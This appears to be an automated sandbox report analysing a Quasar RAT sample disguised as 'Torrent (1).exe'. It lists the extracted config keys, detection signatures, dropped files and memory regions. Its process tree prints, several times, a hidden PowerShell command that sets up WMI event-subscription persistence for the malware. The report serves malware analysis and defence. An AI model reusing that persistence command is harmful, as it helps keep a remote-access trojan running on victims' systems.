Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/11/2026, 03:38

General

  • Target
    Torrent (1).exe
  • Size 1.5MB
  • Sample261114-d65b3sct2y
  • SHA256 77418877695d1503d574b65ccb18f24fc0e963ec78659e7cabc2dbf91bec009d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • quasar

Attributes
  • encryption_key

    6D14F6DAC4C83A0E876468CF4054D970F9D50856

  • key_salt

    5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382

  • reconnect_delay

    3000

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Detects DonutLoader 1 IoCs
  • PulsaRAT library module 3 IoCs

    Core component of the PulsaRAT remote access trojan, implementing its command protocol for hidden remote desktop, UAC bypass, persistence, and credential theft.

  • Quasar payload 2 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 8 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
    "C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe"
    1⤵
    • Boot or Logon Autostart Execution: Active Setup
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3308
  • C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
    "C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe"
    1⤵
    • Boot or Logon Autostart Execution: Active Setup
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2600
  • C:\Windows\system32\wbem\WmiApSrv.exe
    C:\Windows\system32\wbem\WmiApSrv.exe
    1⤵
      PID:2992
    • C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
      "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"
      1⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:6068
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3020
    • C:\Windows\system32\wbem\WmiApSrv.exe
      C:\Windows\system32\wbem\WmiApSrv.exe
      1⤵
        PID:3844
      • C:\Windows\system32\wbem\WmiApSrv.exe
        C:\Windows\system32\wbem\WmiApSrv.exe
        1⤵
          PID:4388
        • C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
          "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"
          1⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5860
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3728

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 98dafae3f38ce98dd71e89235381463ec496980e3c074a6868232aa5bf9cb3fd
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_wlp1epfm.jvo.psm1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wlp1epfm.jvo.psm1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              WindowsUpdateService.exe

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateService.exe
              • Size 1.5MB
              • SHA256 77418877695d1503d574b65ccb18f24fc0e963ec78659e7cabc2dbf91bec009d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              StartupProfileData-NonInteractive

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 1644a8734b1a870853c20608b2c652c71a46e3cce6318ad116a4f9159a76d282
              • MD5 SHA1 SHA512 TLSH

              memory/464-37-0x00007FF6F9FB0000-0x00007FF6FA141000-memory.dmp

              memory/464-35-0x0000023D73AB0000-0x0000023D73C36000-memory.dmp

              memory/3308-24-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/3308-41-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/3308-10-0x00000156FF7B0000-0x00000156FF7D2000-memory.dmp

              memory/3308-28-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/3308-27-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/3308-26-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/3308-25-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/3308-23-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/3308-22-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/3308-21-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-6-0x000002D0B08A0000-0x000002D0B08D0000-memory.dmp

              memory/5564-15-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-18-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-17-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-1-0x000002D0B05E0000-0x000002D0B0765000-memory.dmp

              memory/5564-16-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-12-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-14-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-13-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-30-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-19-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-29-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-42-0x00007FF6F9FB0000-0x00007FF6FA141000-memory.dmp

              memory/5564-7-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-4-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-11-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-20-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-43-0x000002D0C8E80000-0x000002D0C8EBE000-memory.dmp

              memory/5564-46-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-47-0x00007FFAEF760000-0x00007FFAF0104000-memory.dmp

              memory/5564-5-0x000002D0C9060000-0x000002D0C91E6000-memory.dmp

              memory/5564-3-0x00007FFAEF8EF000-0x00007FFAEF8F0000-memory.dmp

              memory/5860-79-0x00007FF6F9FB0000-0x00007FF6FA141000-memory.dmp

              memory/6068-62-0x00007FF6F9FB0000-0x00007FF6FA141000-memory.dmp